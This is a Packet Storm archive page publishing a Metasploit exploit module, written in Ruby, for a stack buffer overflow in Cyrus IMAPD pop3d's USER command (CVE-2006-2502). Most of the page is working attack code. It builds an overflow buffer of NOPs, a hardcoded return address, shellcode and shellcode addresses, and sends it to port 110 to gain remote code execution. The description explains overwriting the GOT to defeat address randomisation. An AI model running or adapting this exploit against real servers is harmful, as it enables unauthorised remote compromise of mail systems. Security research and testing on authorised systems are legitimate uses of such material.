what you don't know can hurt you

Cyrus IMAPD pop3d popsubfolders USER Buffer Overflow

Cyrus IMAPD pop3d popsubfolders USER Buffer Overflow
Posted Dec 31, 2009
Authored by bannedit, jduck | Site metasploit.com

This exploit takes advantage of a stack based overflow. Once the stack corruption has occurred it is possible to overwrite a pointer which is later used for a memcpy. This gives us a write anything anywhere condition similar to a format string vulnerability.

tags | exploit, overflow
advisories | CVE-2006-2502
MD5 | 1ded0732305630bb2eb948c2bb1027bc

Cyrus IMAPD pop3d popsubfolders USER Buffer Overflow

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'Cyrus IMAPD pop3d popsubfolders USER Buffer Overflow',
'Description' => %q{
This exploit takes advantage of a stack based overflow. Once the stack
corruption has occured it is possible to overwrite a pointer which is
later used for a memcpy. This gives us a write anything anywhere condition
similar to a format string vulnerability.

NOTE: The popsubfolders option is a non-default setting.

I chose to overwrite the GOT with my shellcode and return to it. This
defeats the VA random patch and possibly other stack protection features.

Tested on gentoo-sources Linux 2.6.16. Although Fedora CORE 5 ships with
a version containing the vulnerable code, it is not exploitable due to the
use of the FORTIFY_SOURCE compiler enhancement
},
'Author' => [ 'bannedit', 'jduck' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 7884 $',
'References' =>
[
[ 'CVE', '2006-2502' ],
[ 'OSVDB', '25853' ],
[ 'BID', '18056' ],
[ 'URL', 'http://www.exploit-db.com/exploits/2053' ],
[ 'URL', 'http://www.exploit-db.com/exploits/2185' ],
[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2006-05/0527.html' ],
],
'Payload' =>
{
'Space' => 250,
'DisableNops' => true,
},
'Platform' => 'linux',
'Targets' =>
[
# bannedit: 0x080fd204
# K-sPecial: 0x8106c20 (debian 3.1 - 2.6.16-rc6)
[ 'Gentoo 2006.0 Linux 2.6', { 'Ret' => 0x080fd318 } ],
],
'Privileged' => true,
'DisclosureDate' => 'May 21 2006',
'DefaultTarget' => 0))

register_options( [ Opt::RPORT(110) ], self.class )
end



def exploit

connect

print_status "Banner: #{banner = sock.gets}"

# NOTE: orig poc shellcode len: 84

# kcope: 352+84+86+4 (nops,sc,nops,ret)
# K-sPecial: 84+(120*4) (sc,addrs)
# bannedit: 265+8+250+29+16
shellcode = payload.encoded

buf = "USER "
buf << make_nops(265)
# return address
buf << [target.ret].pack('V') * 2
buf << make_nops(250 - shellcode.length)
buf << shellcode
buf << make_nops(29)
sc_addr = target.ret - 277
buf << [sc_addr].pack('V') * 4
buf << "\r\n"

sock.send(buf, 0)
disconnect

end

end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    16 Files
  • 2
    May 2nd
    8 Files
  • 3
    May 3rd
    8 Files
  • 4
    May 4th
    2 Files
  • 5
    May 5th
    1 Files
  • 6
    May 6th
    15 Files
  • 7
    May 7th
    22 Files
  • 8
    May 8th
    16 Files
  • 9
    May 9th
    17 Files
  • 10
    May 10th
    16 Files
  • 11
    May 11th
    3 Files
  • 12
    May 12th
    4 Files
  • 13
    May 13th
    25 Files
  • 14
    May 14th
    24 Files
  • 15
    May 15th
    78 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    16 Files
  • 18
    May 18th
    2 Files
  • 19
    May 19th
    1 Files
  • 20
    May 20th
    11 Files
  • 21
    May 21st
    21 Files
  • 22
    May 22nd
    20 Files
  • 23
    May 23rd
    36 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close